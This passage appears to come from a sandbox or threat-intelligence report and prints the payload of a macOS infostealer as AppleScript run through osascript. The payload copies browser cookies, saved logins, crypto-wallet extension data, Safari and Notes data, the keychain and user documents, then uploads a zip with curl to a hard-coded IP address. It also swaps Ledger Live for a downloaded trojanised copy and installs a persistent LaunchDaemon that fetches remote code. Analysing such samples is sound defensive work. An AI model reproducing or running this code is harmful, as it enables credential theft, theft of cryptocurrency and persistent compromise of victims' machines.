\\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType \| awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" \| sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return"	Process not Found

ioc

Process

sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, 